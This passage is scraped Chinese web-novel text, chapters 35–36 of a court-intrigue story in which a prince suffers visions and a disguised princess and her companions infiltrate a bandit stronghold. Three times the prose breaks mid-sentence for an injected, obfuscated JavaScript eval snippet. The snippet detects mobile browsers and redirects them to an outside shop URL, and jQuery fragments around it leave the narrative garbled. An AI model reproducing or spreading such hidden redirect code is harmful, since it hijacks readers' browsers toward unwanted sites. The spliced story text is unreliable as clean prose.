黑金色的龙袍如铠甲般泛出阵阵寒光,白笑孔手里还提着一把剑,那把剑比子吾江水还要长!她站在大殿上,眼睛一眨不眨的看着他,像是不屑。 白圣孺顿时手脚发麻,冒出一身冷汗,猛的丢下烛台连滚带爬的向后退。可他跑得太慢了,白笑孔很快就要追上他了,她会为白帝媐报仇的! “哈哈哈哈哈哈哈!啊啊啊啊!啊哈哈哈!” 刺耳的尖叫和大雨同时降临在皇城,这是天恩,所到之处电闪雷鸣。白圣孺急促的喘息着,慌不择路,他感觉近了,背后的声音近了,更近了…… 有人在追他,有人要杀他! 慌乱之中,白圣孺躲到一辆牛车低下,不顾尊严体面的爬了进去,泥水裹满衣袖。恶心的牛粪味儿熏的他直咳嗽,他这辈子都没闻过这东西,可他想活,于是捂住嘴巴不敢呼吸。 “喀!喀喀喀!” 是刀刃摩擦骨头的声音,白圣孺顿时牙根发酸,舌尖源源不断涌出津液,他不敢呼吸,生怕暴露。 “轰!!!” 一道闪电照亮大地,透过丝丝雨幕,他看到双绣着龙纹的靴子站在牛车前,还有一把淌血的宝剑。 白圣孺惊恐的往后缩了缩,企图躲避漫过来的血水,可好死不死,他撞到了牛车!牛车动了,发出了吱呀吱呀的声响,那双靴子果然停下了,绕着牛车走了一圈又一圈,最后像是耗尽耐心,失望的走了。 得救了? 白圣孺露出个笑,庆幸劫后余生。他嫌恶的擦了擦靴子,怎料手上都是牛粪,于是急不可耐的从牛车底下钻出来,怎料刚露出脑袋便听见左侧有窸窸窣窣的声音,像耗子。 他不耐烦的挥了挥手,企图消灭这个叫人牙根发酸的声音,只是偶然瞥见一抹黄色。 好奇怪啊。 白圣孺朝左看去。 顿时,一个血肉模糊的脑袋悬在他眼前,像被踩扁的柿子,那人一只眼珠翻了出来,牙齿七零八落的插在嘴上,她穿着黑金色的龙袍,戴着冕旒,白圣孺猛提了一口气,惊恐的看着那人。 即便烂成这幅模样他还是一眼就认了出来。 是白帝媐!!他来索命了! “王爷?王爷,王爷醒醒!!”司马烨抓住白圣孺双肩摇晃着,见其不醒,急忙泼了碗茶上去。 “哈!!” 白圣孺猛的吐出口气,四肢冰冷,找回了呼吸,鼻尖似乎还残存着牛粪味儿,看见司马烨的脸才意识到方才一切都是幻觉。 “呃……”白圣孺捂着额头晃了晃脑袋。 司马烨关切道:“可是癔症又发作了?” “是吧。” 白圣孺拄着桌子强忍头痛,耳边阵阵杂乱声,忽然一股香气飘了过来,云雾里,好像有一只手在拉他,将他拉出那个雨夜。 “好甜……”白圣孺喃喃道。 “王爷感觉好些了吗?” “好多了,多谢烨先生。”白圣孺有气无力道。 “这是臣自己研制的安神香,王爷可在睡前点燃,如此便可减轻癔症。” “本王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292904|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的癔症真的没法子医治吗?” “这……” 司马烨有些为难道,“王爷癔症乃是遗传,实在无药可医啊。” “罢了罢了……” 白圣孺无助的捂着脑袋,贪婪的吸取着那股甜腻的香气,恍惚间看到了父亲,他正站在亭中沐浴月光翩翩起舞,像母皇豢养的一朵莲花。 司马烨走后白圣孺得到了片刻安宁,紧接着一个人走了进来,“皇兄,此人当真要留?” 白圣孺眼皮都没抬一下,懒懒道:“成大事后,杀。” “如此我便放心了,他知晓我们太多事了。” 白圣孺:“四弟找我有何事?” “啊,我来送东西,”白敬躬掏出个红匣子道,“这是敬国夫人叫我给你的。” 白圣孺打开盒子看到个翡翠镯子,这是父亲生前戴过的东西,他饶有兴趣的将镯子套在自己手上把玩。 一个旧镯子,磕断了还用金补上,敬国夫人当真是念旧啊。 不过也好在她念旧,朝堂上下她这个“准”皇后替他打点着,日后得了天下,就算看在父亲的面上也会赏她个五品官做做的。 坤定宫内,一个白瓷花神像被轻轻擦拭着,花神眯眼轻笑,神态温柔,指尖捏着朵娇艳欲滴的荷花。 绢布划过,许是擦的太用力,脸颊上的红粉有些微微掉了。 女人衣着整洁,面相庄严,仔仔细细的擦着神像,殷红的嘴唇衬得她很精神,可眼下的泪沟还是出卖了她。 极其名贵的锦光绸被做成衣服穿在女人身上,似是还嫌不够,她在腰带上耳朵上都挂了不少金饰,且都镶着翡翠,松绿色的长袍延伸至足尖,她像一条盘坐着的蛇,恐怖、危险。 她斤斤计较的扣着莲花缝隙中的一点灰尘,指尖按的发白。 “喀吧。” 花瓣断了,花神还在笑,女人却再也笑不出来。 她捏着那朵花瓣喃喃自语,“江宁,你的儿子和你长的好像。我看见他的一瞬间甚至有些恍惚,我以为你回来了。可他终究不是你,可耻的赝品,他看我的眼神好陌生,我好失望。” “我曾无数次的想要借尸还魂,但都失败了,我好想你,你什么时候回来?不是答应过我要帮我抢天下吗。骗子,你的承诺呢?” 回答她的只有呼啸风声。 “坤定宫好冷,我还记得你当年跌跌撞撞的跑进我宫中,想要勾引我。你的样子真的很蠢,演技也十分拙劣,但我就是很喜欢。这些年来我身边走过无数人,只有你,只有你叫我念念不忘。也只有你才懂我,知道我真正想要什么。” 女人将水神贴紧面颊磨蹭着,恍惚竟落下一滴泪来,“如果你再不回来,就别怪我狠心了。我会好好利用你为我留下的赝品,他会代替你,完成你的承诺。江宁啊,我好想你,白笑孔分明从没爱过你却要霸占你,连尸体都不分给我,我只是想要一颗头啊……” 眼泪顺着女人面颊滴落到花神手中残缺的莲花上。 花神在笑。 35. 风月赋 五 “老板,来两碗茶!” 千里撼叼根草含在口中卷来卷去,时不时眯眼四处打量,两只手不是这儿摸摸就是那儿挠挠,总不安生,脚也抖来抖去,活像得了病。 “干嘛这么慢,看不起我们啊!”桌面一颤,千里撼一拍桌,站起身来,耀武扬威的揪住掉小二领子猛的往前一拽,“知不知道我是谁?敢怠慢我,看不起谁呢!草!” 破破烂烂的布兜斜挎在罗凛肩上,她从里头掏出把铜钱拍在桌上不依不饶道,“给老子上茶,听到没!” “是是,我马上就给您上!” 千里撼一松手小二就捂着衣领跑开,不过片刻,两碗茶水端了上来。 “呸,”千里撼白了眼店小二,吐掉草,阴阳怪气道,“属驴草的,牵着不走打着倒退!” 她不耐的挠了挠脖子,后颈的衣领翻了出来,“几把老粗布就是不抗造。弟弟你放心,等咱们进了帐子姐姐就给你置办身好行头!再给你找个结实的好女人,保准儿让你留后!”千里撼说着爽朗的笑起来,大咧咧的拍了拍罗凛结实的膀子。 罗凛跟在她身后坐下,宽大的身躯缩成一坨,一副呆呆傻傻的模样,脸上不知从哪抹了把灰。他闷声不语,乖顺的点了点头,借着喝茶的须臾打量着周围人。 “啊!解渴!” 千里撼一口气将茶喝光,顺手就把碗摔了,随后做作的从兜里掏出几枚铜钱拍桌上双手合十朝老板那边随意比划几下,得意道,“对不住了啊老板,我这太高兴了,没办法。” 老板自是说不得什么,默默点了点头便忙去了。 自她们二人来后驿站明显安静许多,大多数人喝了茶就走,有些更是连看都不敢往千里撼这边看一眼,满脸嫌恶的缩着脑袋就走了。 一架马车停下,里头人掀开窗帘一角,露出个白玉扳指。千里撼当即会意,利落起身,抽空还提了下裤子,她一把拎起罗凛,“哈哈!真叫老子找到上山的门路了!咱们走,这回一定能混出个名堂!” 小二过去捡起铜板嫌恶的看着马车离去的方向啐了一口,“我呸!就一地痞,装什么山大王,等真进了寨子怎么死的都不知道!” “好了好了快别说了,”一个四十左右的女人制止男子道,“做好你的分内事。把钱收起来,管好嘴巴。” 小二一下熄了火,缩着脑袋把桌子收拾好,又恶狠狠的朝东边剜了一眼才罢休。 一个农民打扮的男子撇了眼车辙,漫不经心的看了看东山,嗤笑一声便继续喝茶。 驿站又来一行人,他们体型壮大,个个捂得严实。为首的老人要了几碗清水面,吃完便启程赶路,其余人自始至终一言不发,井然有序,完全服从老者。 此处乃是邵雍下来彭县,旁边就是东山,这条路是出大魏的必经之路,又是各国交界处,所以过往来人身份不明,能人异士无数,死刑逃犯在这儿都要夹着尾巴走。 男子掀开草帽一角,见那一群人也往东去,泛起嘀咕,“怎么今天东山的客人这么多啊。” 他一仰头,喝光茶水,拍下铜板便匆匆离开。 马车内,千里撼擦了擦脸上灰尘道:“我还以为你会再晚些。” 玉雪倾拿着手帕沾水,一寸寸为千里撼擦拭道,“我很守时的。况且有常玄在,他架马最快最稳了。” “又快又稳不是马的功劳么,”千里撼刻意调侃,“怎么全成他的好了?” 玉雪倾露出一抹微笑,歪头看向千里撼,“你猜。” 两人对视瞬间,车内爆发出一阵大笑,给罗凛惊出一身汗。 “罢了罢了,你开心就好。只是要注意分寸,可不能耽误大事。” 玉雪倾:“放心吧。对了,你方才在驿站可瞧见什么可疑之人?” 千里撼耸耸肩直言道:“我看每个人都可疑,所以挑衅了所有人。” “哈哈哈哈,真有你的!”玉雪倾笑道。 罗凛见缝插针,“其实有一个。” “谁?”千里撼顺便给罗凛擦了把手。 “那个农夫打扮的人,他身上的味道很复杂,像是常吃肉喝酒的人。分明有钱吃喝却是这幅穷苦打扮,着实奇怪,而且他手上的茧都集中在虎口处,这明显是擅长用刀之人。” 玉雪倾:“罗凛观人真是细致入微啊。” “是啊,什么时候也教教我,这样就不必费力装流氓了。”千里撼感慨道。 见千里撼神情有些落寞,罗凛急忙安慰道:“郡主演得很好,简直浑然天成,一点都不像装的!” “……你是真傻还是假傻?” 这话怎么听着这么难受呢? 千里撼拧着眉毛,面带疑惑的看向罗凛,刚要反驳却发现那人双眼清澈,毫无贬损之意。一瞬间,千里撼不禁陷入自我怀疑,演流氓浑然天成真的算优点吗? 算了,不跟傻子较劲。 千里撼自我安慰一番,深深叹了口气,抬手给罗凛擦了擦脸颊黑灰道:“我就当你是在夸我,不过以后可千万不要这样夸人啊。” “嗯。” 罗凛呆呆望着千里撼,从那块帕子到她的手腕,再到千里撼带着水雾的脸,发丝黏在她的额头,罗凛不自觉的为其拨了拨,眼神黏的能拉出丝来。 千里撼动作一顿,发觉有些不妥,猛的一回头,玉雪倾在后面紧捂口鼻,硬生生笑成了八字眉,她不错眼的瞧着,生怕露出一点儿声音耽误了这场好戏。 见此,千里撼愈发不爽,可她又没法回头,罗凛炙热的视线要将她烧穿了。 这真是横竖没法做人。 一不做二不休,为避免尴尬千里撼将帕子丢给罗凛道:“自己收拾吧,我去外头瞧瞧路。” 她宁可到外头和常玄同坐,虽然还是有点尴尬,但总比里头强。 常玄也没好到哪去,看到是千里撼身躯一僵,点点头便转身继续架马,心中感叹还好有面具挡着。 罗凛正拿着那个帕子悄悄往怀里塞祈祷着没人发现,不想被玉雪倾逮了个正着,玉雪倾向眼尖心明,说话上却又十分委婉,独独面对罗凛说起话来始终那么直接。 玉雪倾:“罗凛兄弟还未表明心意吗?” 他抿了抿唇,不死心的看了眼车帘,无奈摇了摇头。 “那你可要抓紧了。大魏女子身边男人虽多,可从心的向来只有那么几个。琼林是个好人,舍得付真心,虽然风流却重感情,你对她好她是清楚的。我瞧得出你痴心一片,但你得明白情有先后的道理,差一步,就少一分。要把握住机会啊。” “舍得付真心”,这几个字长久回荡在罗凛心中,他显然没得到千里撼的真心,那么这颗真心在哪儿呢? 在那个叫“姑爷”的人身上吗? 凭什么。 罗凛的头越垂越低,心里很不是滋味儿。“姑爷”可以肆无忌惮在深夜出入她的房间,可以无时无刻和她见面,她们的距离那样近,举止何其放纵。 有些时他甚至能在她们四周看到一层结界,隔绝了其他人,里面只有她们两个,分明是被关起来了,却还那么开心。 好恶心。 罗凛不动声色的抚了抚胸口,咽下带刺的厌恶,任凭它一路从嗓子划伤肺腑。 为什么会这么难受呢? 分明已经不会再为活着发愁了。难道是记起仇恨了吗,还是有了新的仇恨。 湿润的帕子在他怀中滴了滴水,沿着骨头的痕迹滑进衣裳,咸湿的,浑浊的,像血一样冷。 那个人真的比他更好吗? 郡主…… 不,琼林…… 罗凛张了张嘴,想象着自己叫出这个名字的模样,如痴如醉,带着懵懂的甜腻。 很奇怪,分明只是个称谓罢了,为何会像秘密,叫人想藏的严严实实,又心痒难耐,忍不住拿出来炫耀。 “琼林”这两个字,有种亲密感,像一个承诺。有了这个承诺,他或许就具备了和她并肩的资格。 罗凛甚至无法想象那股喜悦,像喷涌而出的泉水。他可以堂堂正正站在她面前,不必再借口练剑偷看她,不必隐去自己的气息悄悄跟在她身后,不必偷走她落下的东西,更不必在用饭时与燕儿暗暗较劲,只为能挨她近一些。 近一些。 再近一些。 这些远远不够,他还想要更多其它的,独一无二的…… “罗凛。” 罗凛陷入沉思,眼中空无一物。 “罗兄弟?” 玉雪倾叫了他两声,见其久久沉默有些担心。 “罗——” “吁!!”马车急停,常玄一惊,大喝道,“你们是什么人!” “我们?你们上我们的地盘儿来,却问我们是什么人。小兄弟,没这个道理吧!” “大哥,你跟他废什么话,”后头一个骑着马带着虎皮帽子的男人上前道,“懂规矩吗?想从这过,得留东西,叫你们当家的出来!” 玉雪倾见势不对,摸起剑靠向窗户,透过缝隙观察着外头。那伙人骑马劫道,约么有二十几个,都是男子,穿的衣裳也没个标志,想必是群“溜子”。 “我就是当家的,”千里撼曲腿靠在车軓,轻蔑的看着那伙人,“你们这帮溜子,都是从哪个寨子跑出来的打食儿的啊。知道我是谁吗?” “少废话,老子管你是谁!今天不扒你一层皮,你就别想走!” “噗嗤!哈哈哈哈哈!” 千里撼坐起来,戏谑的看着为首那人道:“一帮男人还想别梁子,当我是外码子吗?” “你,”千里撼指了指为首那人,“我听他们叫你大哥啊,你是谁家的?小模样长的挺盘亮啊。这么地吧!你跟我走,我车上的东西随你劫,如何?” 她说着,眼睛里里外外的扫了那人一圈儿,就差没把人衣服扒了瞧。 “混蛋!”为首那人暗骂一声,气的满脸通红。 “臭娘们儿敢调戏我大哥!今天你们谁都别想走了,弟兄们!给我上——” “说他没说你是吧!”千里撼厉声打断他,“咋咋呼呼的,你也是偷跑出来的吧!不过瞧你这模样,虽然比不上你大哥,倒也算顺眼。这样,我寨子里还有几个姊妹没男人,把你也带回去相看一番,没准儿有好你这口儿的呢。” “你、你!” “够了,二牙子,”为首那人拦住又羞又愤的男子,他见千里撼一副有恃无恐的模样心里泛起嘀咕,“你们走吧,就当我们没来过。不过我可告诉你,再往后,就没这么走运了。” “等等,”那群人刚要离开却被千里撼叫住,“我听你说话像是个读书人啊,怎么进贼窝子了?哎你叫啥呀?我叫陆仁甲,你留个名儿呗!” “哼!”那人瞪了千里撼一眼,骂了声“登徒子”便带人头也不回的走了。 “哈,”玉雪倾见那伙人撤了便收起刀,从车内伸出脑袋陶侃道,“方才罗凛兄弟说你流氓装的好我还不信。这么一瞧,琼林啊,你是不是在外头真当过呀?” “你还挺会骂人,”千里撼笑道,“我姥姥打了一辈子夷人,他们后面被打散了就都上山当土匪,我姥姥也就跟着剿匪。这些黑话我从小耳濡目染,就会了些。” “但你这气势可不像学出来的,像娘胎里带的。你有般能耐,日后咱们若是落魄了,落草为寇都能混出个名堂来。” “你这萃了毒的嘴啊,”千里撼恶狠狠的戳了戳玉雪倾脑门儿道,“长的一副菩萨相,怎么说起话来这么招人恨,你是不是背着偷偷我吃屎了?” “可不敢跟你抢哦,”玉雪倾钻出来揽住千里撼肩膀道,“我以后还指着你出人头地呢,好东西必须得留给你。” “不过么……” “不过什么?”千里撼疑惑道。 玉雪倾贴近她耳边低声道:“你方才调戏那小土匪的时候,车里坐着的人差一点儿就冲出去了。要不是我拦着,你这戏就砸了。他这心智大约也不懂什么权宜之计,要再不去哄,小心人家生气。” 千里撼挠挠头,无助的看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292905|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向车内叹了口气,解释道:“我知道你是好心,但我现在烦着呢。况且我对他没有非分之想,你说他呆呆傻傻的像个小孩儿,我又不是畜生。” “你居然不是畜生吗?”玉雪倾惊讶的看着千里撼,“真叫我意外啊。” “玉雪倾你——” “好了好了快去吧,我管你是不是畜生。我来驾车,你去里头歇着去!去、去!”她挥挥手将千里撼赶走,坐在常玄身旁问道,“开不开心,我来陪你?” 常玄点点头没出声,鬼面又开始傻笑,两只脚有一搭没一搭的在车下晃起来,整天的疲惫一扫而空。 不过千里撼就没这么走运了。她一进车里就看到罗凛那么大一坨缩在车内一角,像被拍扁的面团,头顶好似有乌云在飘,看起来委屈又无助。 真是造孽啊。 她默默叹了口气,靠近罗凛将其扳正道,“生气了?” 罗凛:“……” “我那是权宜之计,意在赶跑他们。” 罗凛:“……” “我没看上那个小土匪,就是恶心他而已。” 罗凛:“……” 见罗凛没有反应,千里撼有些恼了,照他后腰拍了一掌道,“说话!” “……那你为什么要问他的名字。” “不是说了在恶心他吗,我连他的脸都没看清呢。况且我又不是什么色中恶鬼,喜欢到处抢男人玩儿,总不至于见一个爱一个吧。” 罗凛把头埋在胳膊里,闷声道,“那我也可以随便告诉别人名字吗。” “什么?”千里撼没听清,朝他凑近一些问道。 不甘和愤怒交织着涌上来,罗凛猛的钳住千里撼双腕,滚烫身躯压向她,两人间的距离忽然拉近,罗凛紧紧盯着千里撼双目不依不饶道,“我也可以随随便便告诉别人名字,不管不顾的撩拨别人,肆无忌惮的关心别人——我也可以这样吗?” 罗凛突然的反常带给千里撼一分危机感,那双狼一般的眼睛泛着蓝光,极具压迫感,这样的罗凛她第一次见,就像—— 斛瑟罗凛。 她忽然意识到罗凛身上的变化,他不傻了,有了自己的小心思,不再是从前那个“熊崽子”,摇身一变,成了男人。 好恶心的变化。 看来她的担心没错。 自从他背回那一麻袋寒芝千里撼就始终惴惴不安,这东西大魏境内绝迹,唯有北疆存在。罗凛和北疆就像鱼和水,无论鱼儿回到了水里还是接触到了水都会引起千里撼的不安,她时刻防备着与北疆有关的一切,可罗凛还是命运般的和这个地方扯上了关系,就像那袋莫名其妙的寒芝。 千里撼问过罗凛,他说是和过路商人换的。 一派胡言,千里撼一个字都不信。所以她才会跟来,像守着财宝的强盗,防备着除她以外的任何势力接触到罗凛,抢走他。 “可以。” 千里撼干脆利落的回答,无比真诚的回望罗凛的双眼。她没打算骗罗凛,事到如今,火几乎快要将纸燃尽,除了自由她什么都能给他。 “不过罗凛,你有些不知好歹。” 千里撼目光凌厉,语调冰冷,两人姿势剑拔弩张。乍一看是罗凛完完全全压制了千里撼,但只要细瞧,就会发觉罗凛颤抖的手臂和紧张的呼吸。 “我知道你对我的心思,”千里撼语气淡淡,一根根掰开罗凛的指头将手腕抽出来,“毕竟这世上对我有心思的人那么多,所以很多时候只要一个眼神我就能看懂你在想些什么。但是罗凛,我对你清清白白,甚至可以称得上纵容。或许是在我身边太久,你已经不记得其实你的身份是金安郡主的侍卫了么?” 罗凛身躯一僵,眼神有些慌乱,“郡主……” “你不必向我道歉,我不差这一句话。”千里撼抽身坐起,理了理袖子故意不看他,“但是罗凛,你得明白一个道理,我不提尊卑是因为我不需要,但你却得时刻谨记何为尊卑。人与人间要留余地,我不喜欢你,你不可以逼我,能明白么。” 罗凛:“郡主!对不起,我再也不会了,我……” “在我面前要自称属下。” 噗通一声,罗凛毫不犹豫的砸在千里撼面前,惶恐的望向她,“……属下知错。” 他从没见过这样的千里撼,锐利的目光像开刃的横刀,没了往日的温情与纵容,像是撕掉了玩世不恭的面具,连愤怒都没有,只是看着他,就像在凌迟。 罗凛突然意识到千里撼的可怕,她分明是个极其尊贵又有能力的人,手握权力,轻飘飘的一句话就能要人性命,却将自己伪装的那么平庸。人人都说她随和、大方,殊不知普通人哪怕直视千里撼都算以下犯上。 而她,对于躺在手心的权力却轻飘飘放下,毫不在意。罗凛猛的意识到自己似乎真的惹怒了千里撼,竟叫她拿起了权力。 千里撼不动声色的瞥了眼罗凛右膝,看到他慌张的模样,千里撼那颗该死的恻隐之心又动了,心头的瘀堵尽数消褪。她顿了顿,义正言辞的训斥道:“如果一个女人不喜欢你,你不能强迫她。做人要堂堂正正,做男人更要。” “属下谨记郡主教诲,不会再犯。” 愤怒被一股别样的情绪取缔,听到罗凛的话千里撼莫名有些烦躁和……心疼? 算了,说不清。 她叹了口气放过自己,将罗凛扶起,把那颗毛茸茸的脑袋塞进怀里一遍遍抚摸,“记住了就不用自称属下了,我已经不生气了。” 千里撼果然还是千里撼,像一盏油灯,寒冬里她是温暖,黑夜时她是光明。但火终究是火,再温和渺小也改不掉危险的本性,在她周围要敬畏、要小心、要恳求慈悲。 罗凛明白了,所以退后了,给彼此间流出足够呼吸的距离,让火可以尽情的烧,人也不至于冻死。 他跪伏在千里撼怀中感受着火,贪婪的本性迫使他环住那份温柔,两颗心可悲的再次贴近,这份痛苦的盘桓究竟何时能够结束? 罗凛问天问地,终是无功而返。 36. 风月赋 六 “马车就扔在这儿吧,还剩一段路我们走着去。”常玄背起包裹掂了掂道。 “好,”千里撼搬过茅草将马车严严实实盖住,“都把衣服换上。我们此行只为打探,切记不要生事,能忍则忍,一切从长计议。” 罗凛点点头,“嗯。” 玉雪倾:“等等,注意隐蔽。” 几人越过高高的枯草摸上东山,这一路走走停停,为了避开山匪特地绕的小路,终于在傍晚走到目的地——东山寨。 “站住!你们是什么人?”看守拦住几人道。 “这位英雄,我们是黎县过来的,听说东山寨里都是义士,就想着来这儿投奔。” “投奔?我们东山寨可不是难民营,你会什么?” 千里撼:“我和我妹妹会武,什么活儿都能做。就是两个不争气的弟弟,一个体弱多病,一个有些呆傻。但体弱的这个识字,呆傻的力气大,多少也能做些活儿。” “也行吧。投名状带了吗?” “带了带了!”千里撼急忙将包袱递了过去,里头装了两颗人头和十两银子。 “行,等着吧,我去给当家的传话。” “多谢小兄弟,”千里撼殷勤的拉住那人手掌,往里头塞了点碎银道,“还劳烦你在寨主面前美言几句。” “好说好说。” 片刻,看守回来道:“进来吧,寨主答应了。” “哎呦!多谢小兄弟!日后若有什么不对的地方还请你多多指点。” “进了寨子就是一家人,我们东山寨可不像那些单搓的,放心吧!有当家的一口饭吃就少不了你。不过记住一件事儿,不该打听的少打听,做好手里的活儿就行。” “是是是!多谢小兄弟提点。” 东山寨内藏乾坤,几人花了近五天才摸透地形巡哨。怪不得能一家独大,引得朝廷瞩目,东山寨地势复杂易守难攻,且极易隐藏,甚至还有几块薄田自给自足,能找到这块地方的人想必不简单。 只是这寨子有些奇怪,小道消息说是夷人流寇聚集于此,可常玄这几日观察下来并未发现有夷人,甚至连夷人口音也没听到,倒是听到了关中口音,倍感亲切。 “玉折,可打探到什么了?” “没有。这个寨子不像土匪窝,反倒像军队,等级森严,纪律严明。我磨了看守的好几日也没见到那当家的一眼,仿佛是在刻意隐藏什么。” 千里撼:“我也发现了。他们平日里嘻嘻哈哈,可一谈到有关寨主的事就闭口不言,像是大有来头。” “我也觉得,”玉雪倾掏出一块破布给千里撼道,“你看看这上面的花纹,这是我从一个奶妈手里弄来的。我瞧着有些眼熟,不像是寻常百姓用的。” “这是火兽纹,”常玄接过布条,靛青色的布条上污渍斑斑,上头的白线已经分辨不出色来,即便如此他还是一眼瞧了出来,“这是关中独有的蓝焰火兽纹,小孩满月时会用绣着火兽纹的布做被子衣裳,寓意健康长寿。” “这是彭县,离关中十万八千里远,怎么也会用火兽纹?”玉雪倾疑惑道。 “我记得关中是上古凶兽落地之处,陈氏就是从那儿迁来,难不成这群人和陈氏有关?”千里撼看向常玄。 “陈氏多用赤焰火兽纹,纹样为豹,”常玄仔细查看布条有些不解道,“但这是蓝焰火兽纹,上头绣的纹样是鬣狗。这种鬣狗纹在关中也十分古老,只有少数部族会用,我……” “怎么了?”玉雪倾关切道。 常玄眉头紧皱,思索半响,“我总觉得在哪儿看过这个纹样。” “没关系,”玉雪倾摸摸常玄脑瓜,“我们再找找别的线索。” 千里撼:“的确,东山寨比我想的要坚固的多,硬打是不行了。我听白扇子说过几日当家的要下山砸窑,干票大的。我们得在这之前离开。” “或许我们可以趁着他们这趟探探虚实呢?” 玉雪倾与千里撼对视片刻,千里撼一顿,领会道:“调虎离山?” “没错。” 千里撼:“东山一共四个当家的,大当家不露面,平日里留下镇守山门的只有二当家和三当家。二当家武艺高强,三当家稍逊一些,如此一来的确可行。” “只是东山寨里男子居多,二三当家身边也都是男子,若要潜入其中我们得兵分两路。这样,”千里撼思虑片刻决定道,“罗凛,你和常玄一起。擒贼先擒王,一定不能暴露,劫了二三当家就撤。” “嗯!”罗凛点点头道。 “玉折,咱俩去那个被踩点儿的富商家埋伏,等这群匪徒来了拖住他们。” “好,就这么办。” 四人兵分两路,千里撼玉雪倾借口探路下山埋伏,屯好火炮等他们来砸窑。 常玄因为会识字,被安排到白扇子身边,偶尔有机会接触到三当家。这三当家气质儒雅,相貌端庄,虽是个土匪头子却极富涵养。 二当家武艺高强,但谋略差些,与三当家搭配倒也各取所长。他只远远见过二当家一次,二当家和三当家长的很像,貌似是亲兄弟。 如此一来这寨子就更怪了,分明是土匪窝子,却搞的一副大家族做派,领头的不论能耐排辈反倒按血缘。况且如此,下头的人居然也服气。 “怎么了丁兄弟?” “啊,”常玄一时失神,账本抄歪了,“走神了。多谢三当家提醒” “无妨。我瞧丁兄弟你写的一手好字,可是上过学堂?” “上过的。我家姐弟四个唯我一人上过学堂,本想走科举之路,奈何我实在不是这块料。” “哦?你两位姐姐居然没上过学堂吗?那可识字?” “识得几个,”常玄疑惑道,“三当家有何指示?” “这……”三当家叹了口气解释道,“是这样,我前几日瞧见你家二姐打猎,英姿飒爽,实在喜欢。这几日叫你来此也是想打听一下她的喜恶。顺带问一句,你二姐喜欢什么样的男子?” 常玄猛提一口气,重重咽下,一口牙咬的咯吱作响。 “咔嚓!” 毛笔被常玄硬生生握断,三当家见此急忙安慰道,“丁兄弟别怕,我虽是山匪却是正经人,未曾婚配过,见你二姐高大勇猛不自觉有了倾慕之情。我终究是个男人,寨子里还是要有个女子当家才放心,否则我一个男人活一辈子,没有后代没有家,也是憋闷。” 说罢,三当家双颊微红,有些不好意思的低下了头。 你在脸红什么!! 常玄紧咬牙关,唇角抽搐,心中里里外外将三当家痛骂几百遍,他僵硬着拾起断笔眯眼笑道,“二姐她,喜欢女子。” “什么?!” 三当家一时有些错愕,口不择言道,“这、这……那她娶了妻子也不耽误找夫郎啊,我可以做小、不是!我的意思是,她会找个男子传宗接代吧,你二姐一身功夫,好歹得生个女儿传下去啊!” 臭显摆!! 常玄暗戳戳瞪他,一口口缓气,恨不得冲上去给他脑袋按雪堆里。做小做小!就你一个能做小?好像付了多大牺牲似的,自以为是的家伙! “唠什么呢,这么热闹?” 一身形魁梧的男子扛刀进屋,那把大刀不轻,把手浇筑金钱豹头,锋利无比。他随意的把刀立在地上,力道之大,活生生将地板戳了个大洞。 “二哥,你怎么来了?” “我来瞧瞧你。啧,”二当家看了眼三当家有些失望,“怎的又瘦了,我送过来的羊你究竟吃没吃?” “那是一整头羊,我一个人哪里吃得完。” “也是。你瞧你,身子骨弱,天天吃猫食儿,以后可怎么办啊。” 二当家:“可不劳你费心,我有的是手段。” “呦,这谁啊?”二当家大咧咧的坐到虎皮椅上指着常玄问道。 常玄殷勤起身,“回二当家,我是新来的,现在替三当家抄书。” “望姝,你连提笔都费劲啦,抄书还要使唤人?”二当家调侃道。 “你懂个屁,”他瞪了二当家一眼道,“大字不识几个,难怪一把年纪也没人看上你。” “谁说没人喜欢我!今早我还和一个女子切磋呢,她就夸我功夫好!” “谁啊,年纪轻轻眼就瞎了。”望姝调侃道。 “嗯……好像是叫陆仁乙?反正人高马大的,一身功夫可太厉害了!” “陆仁乙?!” 二当家一愣,望向常玄道:“那不就是你二姐?” “喀嚓!!”常玄肘下木桌应声裂开,书本散了一地。 “这什么桌子?望姝你这儿的东西和你一样脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292906|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘿嘿嘿。” 望姝不语,斜了眼那从当中直直碎裂的桌子,望向常玄的眼神有了些许变化,“丁兄弟,怎么这么不小心,没伤着吧?” “没事没事,多谢三当家关心!”常玄急忙收拾地上书本。一阵风起,尘土飞扬,他止不住的咳起来,面脸通红,到最后甚至无法直起身体。 三当家见状急忙扶起常玄,“丁兄弟你先回去歇息吧,明日再来抄书。” “咳咳!多谢、多谢咳咳!三当家咳咳咳……” 外头已然入夜,常玄出来后脱下外衣露出夜行服,悄悄藏进巡逻队中,今夜大当家回寨子,他必得一探究竟。 